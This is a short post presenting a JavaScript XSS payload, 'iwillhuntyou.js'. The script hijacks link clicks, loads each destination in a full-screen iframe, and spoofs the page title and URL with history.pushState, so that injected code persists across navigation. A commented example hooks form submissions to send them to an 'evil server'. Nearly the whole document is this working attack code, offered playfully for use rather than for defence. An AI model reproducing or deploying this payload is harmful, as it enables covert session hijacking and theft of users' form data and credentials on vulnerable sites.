Some fun with XSS

iwillhuntyou.js

(function IWillHuntYou () {
	var stupidUser = false, // Never say that I am not an optimist
	    attack = function (window) {
    		// Add your attack here, It will be called each time a new page is loaded
    		// Example:
    		// window.document.documentElement.addEventListener('submit', function (evt) {
    		// 	sendTargetFormToEvilServerBeforeSubmitting();
    		// });
	    };


	// --------- All the boring stuff --------- //
	var infect = function (url) {
		document.body.setAttribute('style', 'overflow: hidden');
		var iframe = document.createElement('iframe');
		iframe.src = url;
		iframe.setAttribute('style', 'background: #fff; position: fixed; left: 0; top: 0; width: 100%; height: 100%; z-index: 999999');
		document.body.appendChild(iframe);
		iframe.addEventListener('load', function () {
			window.document.title = iframe.contentWindow.document.title
			history.pushState(null, null, iframe.contentWindow.location.href);
			attack(iframe.contentWindow);
		});
		window.addEventListener('popstate', function () {
			iframe.history.back();
		});
	}
	
	if (stupidUser) {
		infect(location.href);
	} else {
		document.documentElement.addEventListener('click', function (evt) {
			if (evt.target.tagName === 'A') {
				evt.preventDefault();
				var href = evt.target.href;
				infect(href);
				return false;
			}
		});
		attack(window);
	}

}());